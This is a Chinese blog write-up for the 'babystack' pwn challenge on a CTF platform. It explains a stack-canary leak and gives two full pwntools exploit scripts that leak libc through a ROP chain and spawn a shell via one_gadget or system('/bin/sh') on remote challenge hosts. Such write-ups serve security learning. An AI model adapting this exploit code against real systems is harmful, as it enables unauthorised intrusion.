• [攻防世界]pwn1


    给出了libc.so 应该是计算偏移

    图上说明的很清楚了

    通过case1,覆盖到标志位,就可以通过case2 把表示位puts出来

    puts遇到x00停止

    标志位最后两位一定是x00 sendline末尾自动加上 覆盖掉x00

    所以puts就不会停止 这也方便我们recv的定位

    泄露出标志位,通过case3 就可以常规溢出了

    这里用到一个很方便的新东西 one_gadget

    这玩意可以直接给你把运行shell的代码地址找出来

    比如这样

    这也是libc里面的地址 仍然需要base地址计算真实地址

    每次遇到要recv需要的东西的时候一定要确保接下来输出就是自己需要recv的东西

    from pwn import *
    # io=process('./babystack')
    io=remote('111.198.29.45',54771)
    elf=ELF('./babystack')
    libc=ELF('./libc-2.23.so')
    
    io.sendlineafter('>> ','1')
    payload='A'*0x88
    io.sendline(payload)
    
    io.sendlineafter('>> ','2')
    io.recvuntil('A'*0x88+'
    ')
    canary=u64(io.recv(7).rjust(8,'x00'))
    print 'canary:'+hex(canary)
    rdi_pop=0x400a93
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    main_addr=0x400908
    payload='a'*(0x88)+p64(canary)+'a'*8
    payload+=p64(rdi_pop)+p64(puts_got)
    payload+=p64(puts_plt)+p64(main_addr)
    io.sendlineafter('>> ','1')
    io.sendline(payload)
    io.recv()
    io.sendlineafter('>> ','3')
    puts_addr=u64(io.recv(8).ljust(8,'x00'))
    print 'puts_addr:'+hex(puts_addr)
    base=puts_addr-libc.symbols['puts']
    one_gadget_addr=base+0x45216
    
    io.sendlineafter('>> ','1')
    payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr)
    io.sendline(payload)
    io.sendlineafter('>> ','3')
    print "end"
    io.interactive()
    
    #rdi, rsi, rdx, rcx, r8, r9

     当然自己泄露libc也行

    from pwn import *
    from LibcSearcher import *
    
    # io = process('./stack')
    io = remote('node3.buuoj.cn',29860)
    elf=ELF('./stack')
    # context(arch='amd64',os='linux',log_level='debug')
    
    payload='A'*0x89
    io.sendlineafter('>> ','1')
    io.send(payload)
    io.sendlineafter('>> ','2')
    io.recvuntil('A'*0x89)
    canary=u64(io.recv(7).rjust(8,'x00'))
    success('canary:'+hex(canary))
    
    start=0x400720
    rdi_pop=0x400a93
    payload='A'*0x88+p64(canary)+p64(0)
    payload+=p64(rdi_pop)+p64(elf.got['puts'])
    payload+=p64(elf.plt['puts'])+p64(start)
    io.sendlineafter('>> ','1')
    sleep(0.5)
    io.sendline(payload)
    io.sendlineafter('>> ','3')
    puts=u64(io.recv(6).ljust(8,'x00'))
    libc=LibcSearcher('puts',puts) # 4
    base=puts-libc.dump('puts')
    success('base:'+hex(base))
    system=base+libc.dump('system')
    binsh=base+libc.dump('str_bin_sh')
    
    payload='A'*0x88+p64(canary)+p64(0)
    payload+=p64(rdi_pop)+p64(binsh)
    payload+=p64(system)+p64(start)
    io.sendlineafter('>> ','1')
    sleep(0.5)
    io.sendline(payload)
    io.sendlineafter('>> ','3')
    
    
    io.interactive()
    # choice :
  • 相关阅读:
    榨干PHP性能的使用细节
    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
    Oracle 表锁处理总结
    Windows安装NodeJS
    RedHed5.8 重装yum
    linux Redhat5.8 升级 openSLL 无法升级成功,解决办法
    idea安装详情
    Linux升级OpenSSH 和 OpenSSL 详细步骤
    Oracle dmp文件 exp导出,imp导入
    redis哨兵模式增加密码认证
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/11887235.html
Copyright © 2020-2023  润新知